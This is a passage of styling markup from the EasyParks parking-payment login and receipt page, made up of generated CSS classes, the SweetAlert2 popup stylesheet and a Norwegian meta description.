border: 1px solid rgba(0, 0, 0, 0.12) !important;
border-radius: 22px;
margin-bottom: 20px;
background-color: #ffffff;
}
.jss27 {
color: #ffffff !important;
border-radius: 22px;
background-color: #872878 !important;
border-top-left-radius: 22px !important;
border-top-right-radius: 22px !important;
border-bottom-left-radius: 22px !important;
border-bottom-right-radius: 22px !important;
}
.jss28 {
border: 0px none !important;
padding: 5px 15px;
transition: all 0.5s ease;
border-radius: 22px;
}
.jss28:hover {
background-color: #FFF;
}
.jss28:focus {
background-color: #FFF;
}
.jss29 {
color: #262626;
font-weight: 600;
}
.jss30 {
text-align: center;
}
.jss31 {
text-align: right;
}
.jss32 {
font-size: 1rem;
}
.jss33 {
width: 100%;
height: 15px;
}
.jss34 {
color: #595959;
padding-left: 8px;
padding-right: 8px;
}
.jss35 {
color: #872878;
cursor: pointer;
font-size: 14px;
font-weight: normal;
text-decoration: underline;
}
.jss36 {
color: inherit;
}
.jss37 {
border: 1px solid #EEE;
border-bottom: none;
}
.jss38 {
color: #333;
width: 47.5%;
border: none;
height: 1px;
margin: 50px auto;
background-color: #B1B1B1;
}
.jss39 {
padding-bottom: 10px;
}
.jss40 {
margin-bottom: 0;
}
.jss41 {
margin: 7px;
white-space: pre-wrap;
}
.jss42 {
margin: 25px 0;
}
.jss43 {
margin: 0 auto;
max-width: 550px;
}
.jss44 {
color: #a94442;
padding: 12px;
border-color: #ebccd1;
border-radius: 4px;
background-color: #f2dede;
}
.jss44 p {
margin: 0;
}
.jss45 {
margin-top: 2rem;
}
.jss46 {
margin: 0 auto;
max-width: 650px;
}
.jss47 {
top: 50%;
left: 50%;
width: 50%;
outline: none;
padding: 24px;
position: absolute;
max-width: 400px;
transform: translate(-50%, -50%);
border-radius: 4px;
background-color: #fff;
}
.jss48 {
right: 24px;
cursor: pointer;
position: absolute;
}
.jss49 {
margin: 20px 0;
}
.jss50 {
color: #000;
font-size: 22px;
font-weight: 500;
line-height: 28px;
}
.jss51 {
font-size: 24px;
font-style: normal;
font-family: Poppins;
font-weight: 700;
line-height: 32px;
}
.jss52 {
font-size: 16px;
font-style: normal;
font-family: Poppins;
font-weight: 400;
line-height: 24px;
}
.jss53 {
color: #872878;
}
.jss54 {
cursor: pointer;
}
.jss56 {
padding-top: 0px;
padding-bottom: 16px;
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss11 {
position: relative;
min-width: 0;
min-height: 0;
}
.jss12 {
border: 1px solid #C4C4C4;
padding: 6px 14px;
border-radius: 4px;
}
.jss13 {
width: 100%;
cursor: pointer;
display: flex;
min-width: 0;
min-height: 0;
align-items: center;
flex-direction: row;
}
.jss14 {
width: 20px;
border: 1px solid #aaa;
height: 15px;
box-sizing: content-box;
border-radius: 2px;
}
.jss15 {
width: 100%;
display: flex;
min-width: 0;
min-height: 0;
align-items: center;
}
.jss16 {
color: #595959;
}
.jss17 {
color: #262626;
overflow: hidden;
min-width: 0;
margin-top: 3px;
min-height: 0;
white-space: nowrap;
padding-left: 8px;
text-overflow: ellipsis;
}
.jss18 {
margin-top: 3px;
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss19 {
width: 100%;
display: flex;
align-items: center;
flex-direction: row;
}
.jss20 {
color: #595959;
margin-right: 10px;
}
.jss21 {
color: #262626;
margin-top: 3px;
}
.jss22 {
color: #595959;
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss6 {
margin: 0 auto;
padding: 0 1rem;
max-width: 1000px;
}
.jss7 {
height: 48px;
display: flex;
align-items: center;
justify-content: space-between;
}
.jss8 {
display: flex;
}
.jss9 {
max-width: 80px;
object-fit: contain;
}
@media only screen and (min-width: 400px) {
.jss9 {
max-width: 150px;
}
}
.jss10 {
height: 24px;
display: flex;
position: relative;
min-width: 0;
min-height: 0;
align-items: center;
justify-content: flex-end;
}
.jss10 > * {
padding-left: 28px;
}
@media (max-width:959.95px) {
.jss10 > * {
padding-left: 10px;
}
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss87 {
width: 100%;
background-color: #353535;
}
.jss88 {
width: 100%;
margin: 0 auto;
display: flex;
padding: 21px 1rem;
max-width: 1000px;
align-items: center;
justify-content: space-between;
}
@media (max-width:959.95px) {
.jss88 {
display: block;
}
}
.jss89 {
color: #fff;
font-weight: 700;
}
@media (max-width:959.95px) {
.jss89 {
margin-bottom: 12px;
}
}
.jss90 {
margin: 0;
display: flex;
padding: 0;
max-width: calc(100% - 140px);
list-style: none;
align-items: center;
}
@media (max-width:959.95px) {
.jss90 {
width: 100%;
flex-wrap: wrap;
max-width: 100%;
justify-content: center;
}
}
.jss91 {
margin-right: 36px;
}
@media (max-width:959.95px) {
.jss91 {
width: 50%;
margin: 6px 0;
padding: 0;
margin-right: 0;
}
}
.jss91 a {
color: #fff;
padding: 2px;
text-decoration: none;
}
.jss91:last-of-type {
margin-right: 0;
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss1 {
display: flex;
min-height: 100vh;
text-align: center;
align-items: stretch;
flex-direction: column;
}
.jss2 {
flex-shrink: 0;
}
.jss3 {
display: flex;
position: relative;
flex-grow: 1;
flex-shrink: 0;
}
.jss4 {
flex-shrink: 0;
}
.jss5 {
width: 100%;
margin: 0 auto;
max-width: 850px;
}
</style>
<style data-emotion="css" data-s=""></style>
<meta name="description" content="EasyParks app er den enkleste måten å betale for parkering! Logg inn på kontoen din for å laste ned elektronisk kvittering og oppdatere kontoinformasjon." data-react-helmet="true">
<meta name="keywords" content="kvittering" data-react-helmet="true">
<style>
.swal2-popup.swal2-toast {
box-sizing: border-box;
grid-column: 1/4 !important;
grid-row: 1/4 !important;
grid-template-columns: min-content auto min-content;
padding: 1em;
overflow-y: hidden;
background: #fff;
box-shadow: 0 0 1px rgba(0, 0, 0, .075), 0 1px 2px rgba(0, 0, 0, .075), 1px 2px 4px rgba(0, 0, 0, .075), 1px 3px 8px rgba(0, 0, 0, .075), 2px 4px 16px rgba(0, 0, 0, .075);
pointer-events: all
}
.swal2-popup.swal2-toast>* {
grid-column: 2
}
.swal2-popup.swal2-toast .swal2-title {
margin: .5em 1em;
padding: 0;
font-size: 1em;
text-align: initial
}
.swal2-popup.swal2-toast .swal2-loading {
justify-content: center
}
.swal2-popup.swal2-toast .swal2-input {
height: 2em;
margin: .5em;
font-size: 1em
}
.swal2-popup.swal2-toast .swal2-validation-message {
font-size: 1em
}
.swal2-popup.swal2-toast .swal2-footer {
margin: .5em 0 0;
padding: .5em 0 0;
font-size: .8em
}
.swal2-popup.swal2-toast .swal2-close {
grid-column: 3/3;
grid-row: 1/99;
align-self: center;
width: .8em;
height: .8em;
margin: 0;
font-size: 2em
}
.swal2-popup.swal2-toast .swal2-html-container {
margin: .5em 1em;
padding: 0;
overflow: initial;
font-size: 1em;
text-align: initial
}
.swal2-popup.swal2-toast .swal2-html-container:empty {
padding: 0
}
.swal2-popup.swal2-toast .swal2-loader {
grid-column: 1;
grid-row: 1/99;
align-self: center;
width: 2em;
height: 2em;
margin: .25em
}
.swal2-popup.swal2-toast .swal2-icon {
grid-column: 1;
grid-row: 1/99;
align-self: center;
width: 2em;
min-width: 2em;
height: 2em;
margin: 0 .5em 0 0
}
.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content {
display: flex;
align-items: center;
font-size: 1.8em;
font-weight: bold
}
.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring {
width: 2em;
height: 2em
}
.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line] {
top: .875em;
width: 1.375em
}
.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left] {
left: .3125em
}
.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right] {
right: .3125em
}
.swal2-popup.swal2-toast .swal2-actions {
justify-content: flex-start;
height: auto;
margin: 0;
margin-top: .5em;
padding: 0 .5em
}
.swal2-popup.swal2-toast .swal2-styled {
margin: .25em .5em;
padding: .4em .6em;
font-size: 1em
}
.swal2-popup.swal2-toast .swal2-success {
border-color: #a5dc86
}
.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line] {
position: absolute;
width: 1.6em;
height: 3em;
transform: rotate(45deg);
border-radius: 50%
}
.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left] {
top: -0.8em;
left: -0.5em;
transform: rotate(-45deg);
transform-origin: 2em 2em;
border-radius: 4em 0 0 4em
}
.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right] {
top: -0.25em;
left: .9375em;
transform-origin: 0 1.5em;
border-radius: 0 4em 4em 0
}
.swal2-popup.swal2-toast .swal2-success .swal2-success-ring {
width: 2em;
height: 2em
}
.swal2-popup.swal2-toast .swal2-success .swal2-success-fix {
top: 0;
left: .4375em;
width: .4375em;
height: 2.6875em
}
.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line] {
height: .3125em
}
.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip] {
top: 1.125em;
left: .1875em;
width: .75em
}
.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long] {
top: .9375em;
right: .1875em;
width: 1.375em
}
.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip {
animation: swal2-toast-animate-success-line-tip .75s
}
.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long {
animation: swal2-toast-animate-success-line-long .75s
}
.swal2-popup.swal2-toast.swal2-show {
animation: swal2-toast-show .5s
}
.swal2-popup.swal2-toast.swal2-hide {
animation: swal2-toast-hide .1s forwards
}
div:where(.swal2-container) {
display: grid;
position: fixed;
z-index: 1060;
inset: 0;
box-sizing: border-box;
grid-template-areas: "top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";
grid-template-rows: minmax(min-content, auto) minmax(min-content, auto) minmax(min-content, auto);
height: 100%;
padding: .625em;
overflow-x: hidden;
transition: background-color .1s;
-webkit-overflow-scrolling: touch
}
div:where(.swal2-container).swal2-backdrop-show,
div:where(.swal2-container).swal2-noanimation {
background: rgba(0, 0, 0, .4)
}
div:where(.swal2-container).swal2-backdrop-hide {
background: rgba(0, 0, 0, 0) !important
}
div:where(.swal2-container).swal2-top-start,
div:where(.swal2-container).swal2-center-start,
div:where(.swal2-container).swal2-bottom-start {
grid-template-columns: minmax(0, 1fr) auto auto
}
div:where(.swal2-container).swal2-top,
div:where(.swal2-container).swal2-center,
div:where(.swal2-container).swal2-bottom {
grid-template-columns: auto minmax(0, 1fr) auto
}
div:where(.swal2-container).swal2-top-end,
div:where(.swal2-container).swal2-center-end,
div:where(.swal2-container).swal2-bottom-end {
grid-template-columns: auto auto minmax(0, 1fr)
}
div:where(.swal2-container).swal2-top-start>.swal2-popup {
align-self: start
}
div:where(.swal2-container).swal2-top>.swal2-popup {
grid-column: 2;
place-self: start center
}
div:where(.swal2-container).swal2-top-end>.swal2-popup,
div:where(.swal2-container).swal2-top-right>.swal2-popup {
grid-column: 3;
place-self: start end
}
div:where(.swal2-container).swal2-center-start>.swal2-popup,
div:where(.swal2-container).swal2-center-left>.swal2-popup {
grid-row: 2;
align-self: center
}
div:where(.swal2-container).swal2-center>.swal2-popup {
grid-column: 2;
grid-row: 2;
place-self: center center
}
div:where(.swal2-container).swal2-center-end>.swal2-popup,
div:where(.swal2-container).swal2-center-right>.swal2-popup {
grid-column: 3;
grid-row: 2;
place-self: center end
}
div:where(.swal2-container).swal2-bottom-start>.swal2-popup,
div:where(.swal2-container).swal2-bottom-left>.swal2-popup {
grid-column: 1;
grid-row: 3;
align-self: end
}
div:where(.swal2-container).swal2-bottom>.swal2-popup {
grid-column: 2;
grid-row: 3;
place-self: end center
}
div:where(.swal2-container).swal2-bottom-end>.swal2-popup,
div:where(.swal2-container).swal2-bottom-right>.swal2-popup {
grid-column: 3;
grid-row: 3;
place-self: end end
}
div:where(.swal2-container).swal2-grow-row>.swal2-popup,
div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup {
grid-column: 1/4;
width: 100%
}
div:where(.swal2-container).swal2-grow-column>.swal2-popup,
div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup {
grid-row: 1/4;
align-self: stretch
}
div:where(.swal2-container).swal2-no-transition {
transition: none !important
}
div:where(.swal2-container) div:where(.swal2-popup) {
display: none;
position: relative;
box-sizing: border-box;
grid-template-columns: minmax(0, 100%);
width: 32em;
max-width: 100%;
padding: 0 0 1.25em;
border: none;
border-radius: 5px;
background: #fff;
color: #545454;
font-family: inherit;
font-size: 1rem
}
div:where(.swal2-container) div:where(.swal2-popup):focus {
outline: none
}
div:where(.swal2-container) div:where(.swal2-popup).swal2-loading {
overflow-y: hidden
}
div:where(.swal2-container) h2:where(.swal2-title) {
position: relative;
max-width: 100%;
margin: 0;
padding: .8em 1em 0;
color: inherit;
font-size: 1.875em;
font-weight: 600;
text-align: center;
text-transform: none;
word-wrap: break-word
}
div:where(.swal2-container) div:where(.swal2-actions) {
display: flex;
z-index: 1;
box-sizing: border-box;
flex-wrap: wrap;
align-items: center;
justify-content: center;
width: auto;
margin: 1.25em auto 0;
padding: 0
}
div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled[disabled] {
opacity: .4
}
div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:hover {
background-image: linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1))
}
div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:active {
background-image: linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2))
}
div:where(.swal2-container) div:where(.swal2-loader) {
display: none;
align-items: center;
justify-content: center;
width: 2.2em;
height: 2.2em;
margin: 0 1.875em;
animation: swal2-rotate-loading 1.5s linear 0s infinite normal;
border-width: .25em;
border-style: solid;
border-radius: 100%;
border-color: #2778c4 rgba(0, 0, 0, 0) #2778c4 rgba(0, 0, 0, 0)
}
div:where(.swal2-container) button:where(.swal2-styled) {
margin: .3125em;
padding: .625em 1.1em;
transition: box-shadow .1s;
box-shadow: 0 0 0 3px rgba(0, 0, 0, 0);
font-weight: 500
}
div:where(.swal2-container) button:where(.swal2-styled):not([disabled]) {
cursor: pointer
}
div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm {
border: 0;
border-radius: .25em;
background: initial;
background-color: #7066e0;
color: #fff;
font-size: 1em
}
div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm:focus {
box-shadow: 0 0 0 3px rgba(112, 102, 224, .5)
}
div:where(.swal2-container) button:where(.swal2-styled).swal2-deny {
border: 0;
border-radius: .25em;
background: initial;
background-color: #dc3741;
color: #fff;
font-size: 1em
}
div:where(.swal2-container) button:where(.swal2-styled).swal2-deny:focus {
box-shadow: 0 0 0 3px rgba(220, 55, 65, .5)
}
div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel {
border: 0;
border-radius: .25em;
background: initial;
background-color: #6e7881;
color: #fff;
font-size: 1em
}
div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel:focus {
box-shadow: 0 0 0 3px rgba(110, 120, 129, .5)
}
div:where(.swal2-container) button:where(.swal2-styled).swal2-default-outline:focus {
box-shadow: 0 0 0 3px rgba(100, 150, 200, .5)
}
div:where(.swal2-container) button:where(.swal2-styled):focus {
outline: none
}
div:where(.swal2-container) button:where(.swal2-styled)::-moz-focus-inner {
border: 0
}
div:where(.swal2-container) div:where(.swal2-footer) {
margin: 1em 0 0;
padding: 1em 1em 0;
border-top: 1px solid #eee;
color: inherit;
font-size: 1em;
text-align: center
}
div:where(.swal2-container) .swal2-timer-progress-bar-container {
position: absolute;
right: 0;
bottom: 0;
left: 0;
grid-column: auto !important;
overflow: hidden;
border-bottom-right-radius: 5px;
border-bottom-left-radius: 5px
}
div:where(.swal2-container) div:where(.swal2-timer-progress-bar) {
width: 100%;
height: .25em;
background: rgba(0, 0, 0, .2)
}
div:where(.swal2-container) img:where(.swal2-image) {
max-width: 100%;
margin: 2em auto 1em
}
div:where(.swal2-container) button:where(.swal2-close) {
z-index: 2;
align-items: center;
justify-content: center;
width: 1.2em;
height: 1.2em;
margin-top: 0;
margin-right: 0;
margin-bottom: -1.2em;
padding: 0;
overflow: hidden;
transition: color .1s, box-shadow .1s;
border: none;
border-radius: 5px;
background: rgba(0, 0, 0, 0);
color: #ccc;
font-family: monospace;
font-size: 2.5em;
cursor: pointer;
justify-self: end
}
div:where(.swal2-container) button:where(.swal2-close):hover {
transform: none;
background: rgba(0, 0, 0, 0);
color: #f27474
}
div:where(.swal2-container) button:where(.swal2-close):focus {
outline: none;
box-shadow: inset 0 0 0 3px rgba(100, 150, 200, .5)
}
div:where(.swal2-container) button:where(.swal2-close)::-moz-focus-inner {
border: 0
}
div:where(.swal2-container) .swal2-html-container {
z-index: 1;
justify-content: center;
margin: 1em 1.6em .3em;
padding: 0;
overflow: auto;
color: inherit;
font-size: 1.125em;
font-weight: normal;
line-height: normal;
text-align: center;
word-wrap: break-word;
word-break: break-word
}
div:where(.swal2-container) input:where(.swal2-input),
div:where(.swal2-container) input:where(.swal2-file),
div:where(.swal2-container) textarea:where(.swal2-textarea),
div:where(.swal2-container) select:where(.swal2-select),
div:where(.swal2-container) div:where(.swal2-radio),
div:where(.swal2-container) label:where(.swal2-checkbox) {
margin: 1em 2em 3px
}
div:where(.swal2-container) input:where(.swal2-input),
div:where(.swal2-container) input:where(.swal2-file),
div:where(.swal2-container) textarea:where(.swal2-textarea) {
box-sizing: border-box;
width: auto;
transition: border-color .1s, box-shadow .1s;
border: 1px solid #d9d9d9;
border-radius: .1875em;
background: rgba(0, 0, 0, 0);
box-shadow: inset 0 1px 1px rgba(0, 0, 0, .06), 0 0 0 3px rgba(0, 0, 0, 0);
color: inherit;
font-size: 1.125em
}
div:where(.swal2-container) input:where(.swal2-input).swal2-inputerror,
div:where(.swal2-container) input:where(.swal2-file).swal2-inputerror,
div:where(.swal2-container) textarea:where(.swal2-textarea).swal2-inputerror {
border-color: #f27474 !important;
box-shadow: 0 0 2px #f27474 !important
}
div:where(.swal2-container) input:where(.swal2-input):focus,
div:where(.swal2-container) input:where(.swal2-file):focus,
div:where(.swal2-container) textarea:where(.swal2-textarea):focus {
border: 1px solid #b4dbed;
outline: none;
box-shadow: inset 0 1px 1px rgba(0, 0, 0, .06), 0 0 0 3px rgba(100, 150, 200, .5)
}
div:where(.swal2-container) input:where(.swal2-input)::placeholder,
div:where(.swal2-container) input:where(.swal2-file)::placeholder,
div:where(.swal2-container) textarea:where(.swal2-textarea)::placeholder {
color: #ccc
}
div:where(.swal2-container) .swal2-range {
margin: 1em 2em 3px;
background: #fff
}
div:where(.swal2-container) .swal2-range input {
width: 80%
}
div:where(.swal2-container) .swal2-range output {
width: 20%;
color: inherit;
font-weight: 600;
text-align: center
}
div:where(.swal2-container) .swal2-range input,
div:where(.swal2-container) .swal2-range output {
height: 2.625em;
padding: 0;
font-size: 1.125em;
line-height: 2.625em
}
div:where(.swal2-container) .swal2-input {
height: 2.625em;
padding: 0 .75em
}
div:where(.swal2-container) .swal2-file {
width: 75%;
margin-right: auto;
margin-left: auto;
background: rgba(0, 0, 0, 0);
font-size: 1.125em
}
div:where(.swal2-container) .swal2-textarea {
height: 6.75em;
padding: .75em
}
div:where(.swal2-container) .swal2-select {
min-width: 50%;
max-width: 100%;
padding: .375em .625em;
background: rgba(0, 0, 0, 0);
color: inherit;
font-size: 1.125em
}
div:where(.swal2-container) .swal2-radio,
div:where(.swal2-container) .swal2-checkbox {
align-items: center;
justify-content: center;
background: #fff;
color: inherit
}
div:where(.swal2-container) .swal2-radio label,
div:where(.swal2-container) .swal2-checkbox label {
margin: 0 .6em;
font-size: 1.125em
}
div:where(.swal2-container) .swal2-radio input,
div:where(.swal2-container) .swal2-checkbox input {
flex-shrink: 0;
margin: 0 .4em
}
div:where(.swal2-container) label:where(.swal2-input-label) {
display: flex;
justify-content: center;
margin: 1em auto 0
}
div:where(.swal2-container) div:where(.swal2-validation-message) {
align-items: center;
justify-content: center;
margin: 1em 0 0;
padding: .625em;
overflow: hidden;
background: #f0f0f0;
color: #666;
font-size: 1em;
font-weight: 300
}
div:where(.swal2-container) div:where(.swal2-validation-message)::before {
content: "!";
display: inline-block;
width: 1.5em;
min-width: 1.5em;
height: 1.5em;
margin: 0 .625em;
border-radius: 50%;
background-color: #f27474;
color: #fff;
font-weight: 600;
line-height: 1.5em;
text-align: center
}
div:where(.swal2-container) .swal2-progress-steps {
flex-wrap: wrap;
align-items: center;
max-width: 100%;
margin: 1.25em auto;
padding: 0;
background: rgba(0, 0, 0, 0);
font-weight: 600
}
div:where(.swal2-container) .swal2-progress-steps li {
display: inline-block;
position: relative
}
div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step {
z-index: 20;
flex-shrink: 0;
width: 2em;
height: 2em;
border-radius: 2em;
background: #2778c4;
color: #fff;
line-height: 2em;
text-align: center
}
div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step {
background: #2778c4
}
div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step {
background: #add8e6;
color: #fff
}
div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line {
background: #add8e6
}
div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step-line {
z-index: 10;
flex-shrink: 0;
width: 2.5em;
height: .4em;
margin: 0 -1px;
background: #2778c4
}
div:where(.swal2-icon) {
position: relative;
box-sizing: content-box;
justify-content: center;
width: 5em;
height: 5em;
margin: 2.5em auto .6em;
border: 0.25em solid rgba(0, 0, 0, 0);
border-radius: 50%;
border-color: #000;
font-family: inherit;
line-height: 5em;
cursor: default;
user-select: none
}
div:where(.swal2-icon) .swal2-icon-content {
display: flex;
align-items: center;
font-size: 3.75em
}
div:where(.swal2-icon).swal2-error {
border-color: #f27474;
color: #f27474
}
div:where(.swal2-icon).swal2-error .swal2-x-mark {
position: relative;
flex-grow: 1
}
div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line] {
display: block;
position: absolute;
top: 2.3125em;
width: 2.9375em;
height: .3125em;
border-radius: .125em;
background-color: #f27474
}
div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=left] {
left: 1.0625em;
transform: rotate(45deg)
}
div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=right] {
right: 1em;
transform: rotate(-45deg)
}
div:where(.swal2-icon).swal2-error.swal2-icon-show {
animation: swal2-animate-error-icon .5s
}
div:where(.swal2-icon).swal2-error.swal2-icon-show .swal2-x-mark {
animation: swal2-animate-error-x-mark .5s
}
div:where(.swal2-icon).swal2-warning {
border-color: #facea8;
color: #f8bb86
}
div:where(.swal2-icon).swal2-warning.swal2-icon-show {
animation: swal2-animate-error-icon .5s
}
div:where(.swal2-icon).swal2-warning.swal2-icon-show .swal2-icon-content {
animation: swal2-animate-i-mark .5s
}
div:where(.swal2-icon).swal2-info {
border-color: #9de0f6;
color: #3fc3ee
}
div:where(.swal2-icon).swal2-info.swal2-icon-show {
animation: swal2-animate-error-icon .5s
}
div:where(.swal2-icon).swal2-info.swal2-icon-show .swal2-icon-content {
animation: swal2-animate-i-mark .8s
}
div:where(.swal2-icon).swal2-question {
border-color: #c9dae1;
color: #87adbd
}
div:where(.swal2-icon).swal2-question.swal2-icon-show {
animation: swal2-animate-error-icon .5s
}
div:where(.swal2-icon).swal2-question.swal2-icon-show .swal2-icon-content {
animation: swal2-animate-question-mark .8s
}
div:where(.swal2-icon).swal2-success {
border-color: #a5dc86;
color: #a5dc86
}
div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line] {
position: absolute;
width: 3.75em;
height: 7.5em;
transform: rotate(45deg);
border-radius: 50%
}
div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=left] {
top: -0.4375em;
left: -2.0635em;
transform: rotate(-45deg);
transform-origin: 3.75em 3.75em;
border-radius: 7.5em 0 0 7.5em
}
div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=right] {
top: -0.6875em;
left: 1.875em;
transform: rotate(-45deg);
transform-origin: 0 3.75em;
border-radius: 0 7.5em 7.5em 0
}
div:where(.swal2-icon).swal2-success .swal2-success-ring {
position: absolute;
z-index: 2;
top: -0.25em;
left: -0.25em;
box-sizing: content-box;
width: 100%;
height: 100%;
border: .25em solid rgba(165, 220, 134, .3);
border-radius: 50%
}
div:where(.swal2-icon).swal2-success .swal2-success-fix {
position: absolute;
z-index: 1;
top: .5em;
left: 1.625em;
width: .4375em;
height: 5.625em;
transform: rotate(-45deg)
}
div:where(.swal2-icon).swal2-success [class^=swal2-success-line] {
display: block;
position: absolute;
z-index: 2;
height: .3125em;
border-radius: .125em;
background-color: #a5dc86
}
div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=tip] {
top: 2.875em;
left: .8125em;
width: 1.5625em;
transform: rotate(45deg)
}
div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=long] {
top: 2.375em;
right: .5em;
width: 2.9375em;
transform: rotate(-45deg)
}
div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-tip {
animation: swal2-animate-success-line-tip .75s
}
div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-long {
animation: swal2-animate-success-line-long .75s
}
div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-circular-line-right {
animation: swal2-rotate-success-circular-line 4.25s ease-in
}
[class^=swal2] {
-webkit-tap-highlight-color: rgba(0, 0, 0, 0)
}
.swal2-show {
animation: swal2-show .3s
}
.swal2-hide {
animation: swal2-hide .15s forwards
}
.swal2-noanimation {
transition: none
}
.swal2-scrollbar-measure {
position: absolute;
top: -9999px;
width: 50px;
height: 50px;
overflow: scroll
}
.swal2-rtl .swal2-close {
margin-right: initial;
margin-left: 0
}
.swal2-rtl .swal2-timer-progress-bar {
right: 0;
left: auto
}
@keyframes swal2-toast-show {
0% {
transform: translateY(-0.625em) rotateZ(2deg)
}
33% {
transform: translateY(0) rotateZ(-2deg)
}
66% {
transform: translateY(0.3125em) rotateZ(2deg)
}
100% {
transform: translateY(0) rotateZ(0deg)
}
}
@keyframes swal2-toast-hide {
100% {
transform: rotateZ(1deg);
opacity: 0
}
}
@keyframes swal2-toast-animate-success-line-tip {
0% {
top: .5625em;
left: .0625em;
width: 0
}
54% {
top: .125em;
left: .125em;
width: 0
}
70% {
top: .625em;
left: -0.25em;
width: 1.625em
}
84% {
top: 1.0625em;
left: .75em;
width: .5em
}
100% {
top: 1.125em;
left: .1875em;
width: .75em
}
}
@keyframes swal2-toast-animate-success-line-long {
0% {
top: 1.625em;
right: 1.375em;
width: 0
}
65% {
top: 1.25em;
right: .9375em;
width: 0
}
84% {
top: .9375em;
right: 0;
width: 1.125em
}
100% {
top: .9375em;
right: .1875em;
width: 1.375em
}
}
@keyframes swal2-show {
0% {
transform: scale(0.7)
}
45% {
transform: scale(1.05)
}
80% {
transform: scale(0.95)
}
100% {
transform: scale(1)
}
}
@keyframes swal2-hide {
0% {
transform: scale(1);
opacity: 1
}
100% {
transform: scale(0.5);
opacity: 0
}
}
@keyframes swal2-animate-success-line-tip {
0% {
top: 1.1875em;
left: .0625em;
width: 0
}
54% {
top: 1.0625em;
left: .125em;
width: 0
}
70% {
top: 2.1875em;
left: -0.375em;
width: 3.125em
}
84% {
top: 3em;
left: 1.3125em;
width: 1.0625em
}
100% {
top: 2.8125em;
left: .8125em;
width: 1.5625em
}
}
@keyframes swal2-animate-success-line-long {
0% {
top: 3.375em;
right: 2.875em;
width: 0
}
65% {
top: 3.375em;
right: 2.875em;
width: 0
}
84% {
top: 2.1875em;
right: 0;
width: 3.4375em
}
100% {
top: 2.375em;
right: .5em;
width: 2.9375em
}
}
@keyframes swal2-rotate-success-circular-line {
0% {
transform: rotate(-45deg)
}
5% {
transform: rotate(-45deg)
}
12% {
transform: rotate(-405deg)
}
100% {
transform: rotate(-405deg)
}
}
@keyframes swal2-animate-error-x-mark {
0% {
margin-top: 1.625em;
transform: scale(0.4);
opacity: 0
}
50% {
margin-top: 1.625em;
transform: scale(0.4);
opacity: 0
}
80% {
margin-top: -0.375em;
transform: scale(1.15)
}
100% {
margin-top: 0;
transform: scale(1);
opacity: 1
}
}
@keyframes swal2-animate-error-icon {
0% {
transform: rotateX(100deg);
opacity: 0
}
100% {
transform: rotateX(0deg);
opacity: 1
}
}
@keyframes swal2-rotate-loading {
0% {
transform: rotate(0deg)
}
100% {
transform: rotate(360deg)
}
}
@keyframes swal2-animate-question-mark {
0% {
transform: rotateY(-360deg)
}
100% {
transform: rotateY(0)
}
}
@keyframes swal2-animate-i-mark {
0% {
transform: rotateZ(45deg);
opacity: 0
}
25% {
transform: rotateZ(-25deg);
opacity: .4
}
50% {
transform: rotateZ(15deg);
opacity: .8
}
75% {
transform: rotateZ(-5deg);
opacity: 1
}
100% {
transform: rotateX(0);
opacity: 1
}
}
body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) {
overflow: hidden
}
body.swal2-height-auto {
height: auto !important
}
body.swal2-no-backdrop .swal2-container {
background-color: rgba(0, 0, 0, 0) !important;
pointer-events: none
}
body.swal2-no-backdrop .swal2-container .swal2-popup {
pointer-events: all
}
body.swal2-no-backdrop .swal2-container .swal2-modal {
box-shadow: 0 0 10px rgba(0, 0, 0, .4)
}
@media print {
body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) {
overflow-y: scroll !important
}
body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true] {
display: none
}
